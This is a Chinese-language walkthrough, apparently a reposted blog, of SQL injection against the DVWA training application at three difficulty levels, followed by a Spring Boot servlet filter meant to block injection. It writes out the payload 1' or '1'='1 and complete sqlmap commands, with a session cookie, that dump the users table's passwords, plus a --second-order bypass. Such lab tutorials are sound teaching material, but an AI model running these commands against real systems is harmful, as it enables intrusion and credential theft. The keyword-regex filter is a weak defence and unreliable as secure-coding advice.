DVWA | 您所在的位置:网站首页 › trollge全阶段 › DVWA |
准备
渗透工具:sqlmap、burpsuite、python2.7(用于运行sqlmap)、火狐浏览器、FoxyProxy火狐代理插件。 我这边直接安装的PentestBox,渗透工具及运行的环境就都全了,官网下载比较慢,这是百度云盘下载链接:链接:pan.baidu.com/s/1hMBUiVvN… 提取码:8ok5 攻击 一、low级别使用1' or '1'='1测试是否存在注入点 显然是存在的,直接使用sqlmap把链接输进去进行注入 通过sqlmap确认输入的链接存在基于布尔类型的盲注、基于错误的注入、时间注入攻击-时间盲注、union注入攻击。 现在就是直接使用以下命令拼接在上图命令后面。 1.--dbs 获取数据库 2.-D 数据库名 --tables 获取库中所有表 3.-D 数据库名 -T 表名 --columns 获取表中所有字段 4.-D 数据库名 -T 表名 -C "字段,字段" --dump 获取表字段对应的数据 复制代码执行效果分别如下图所示 python .\sqlmap.py -u "http://192.168.199.177/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=4q8en4tjvhcigke3l6drap3b54" --dbs 复制代码 python .\sqlmap.py -u "http://192.168.199.177/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=4q8en4tjvhcigke3l6drap3b54" -D dvwa --tables 复制代码 python .\sqlmap.py -u "http://192.168.199.177/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=4q8en4tjvhcigke3l6drap3b54" -D dvwa -T users --columns 复制代码 python .\sqlmap.py -u "http://192.168.199.177/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=4q8en4tjvhcigke3l6drap3b54" -D dvwa -T users -C "user,password" --dump 复制代码成功获取用户名和对应的密码 二、medium级别中级难度前端页面设置了下拉选择表单,希望以此来控制用户的输入,此时我们使用burpsuite拦截请求包,修改内容后再发送给服务器。 启动burpsuite,使用FoxyProxy将请求转发到本地8080端口,点击提交按钮 尝试字符型注入失败后改用数字型注入,成功注入 将请求包中的内容保存在txt文件中,sqlmap会直接针对请求包中的内容进行注入测试 python .\sqlmap.py -r .\dvwa_medium.txt 复制代码判断出存在基于布尔类型的盲注 后续步骤和low级别相同,唯一不同的地方是,low级别的数据库、表单等数据都是通过直接查询获取的,medium级别是通过盲注猜解获取的,人为盲注效率较慢,sqlmap的盲注要快得多,盲注的体现就是数据库名、表名等信息是一个字符一个字符挨个显示的。 三、high级别high级别的查询提交页面与查询结果显示页面不是同一个,这样做的目的是为了防止一般的sqlmap注入,因为sqlmap在注入过程中,无法在查询提交页面上获取查询的结果,没有了反馈,也就没办法进一步注入。但是我们可以使用--second-order+查询结果显示页面链接,无视这种防御措施。 --second-order 当web程序输入与返回不在一处界面时,使用此参数监控另一处页面 复制代码使用burpsuite拦截high级别提交请求,保存为txt文件,使用下面命令发起sql注入攻击 python .\sqlmap.py -r .\dvwa_high.txt --second-order "http://192.168.199.177/dvwa/vulnerabilities/sqli/" 复制代码成功检测出有基于布尔类型的盲注,后续步骤和medium级别的相同,再不赘述。 防御因为我是做后端开发的,而且常用Spring Boot框架,所以针对Spring项目写下防范措施,不过原理相同,其他后端框架应该也适用。 慎用,多用#,mybatis不会对参数进行拦截 使用Filter过滤器,Filter负责检查用户请求,根据请求过滤用户非法请求。 /** * sql注入过滤器 */ @Component @WebFilter(urlPatterns = "/*", filterName = "SQLInjection", initParams = { @WebInitParam(name = "regx", value = "(?:')|(?:--)|(/\\*(?:.|[\\n\\r])*?\\*/)|" + "(\\b(select|update|and|or|delete|insert|trancate|char|into|substr|ascii|declare|exec|count|master|into|drop|execute)\\b)") }) public class SqlInjectFilter implements Filter{ private String regx; @Override public void init(FilterConfig filterConfig) throws ServletException { this.regx = filterConfig.getInitParameter("regx"); } @Override public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException { HttpServletRequest req = (HttpServletRequest) servletRequest; Map parametersMap = servletRequest.getParameterMap(); Iterator it = parametersMap.entrySet().iterator(); while (it.hasNext()) { Map.Entry entry = (Map.Entry) it.next(); String[] value = (String[]) entry.getValue(); for (int i = 0; i < value.length; i++) { if (null != value[i] && value[i].matches(this.regx)) { log.error("您输入的参数有非法字符,请输入正确的参数!"); servletRequest.setAttribute("err", "您输入的参数有非法字符,请输入正确的参数!"); servletRequest.setAttribute("pageUrl",req.getRequestURI()); servletRequest.getRequestDispatcher(servletRequest.getServletContext().getContextPath() + "/error").forward(servletRequest, servletResponse); return; } } } } filterChain.doFilter(servletRequest, servletResponse); } @Override public void destroy() { } } 复制代码 |
今日新闻 |
推荐新闻 |
专题文章 |
CopyRight 2018-2019 实验室设备网 版权所有 |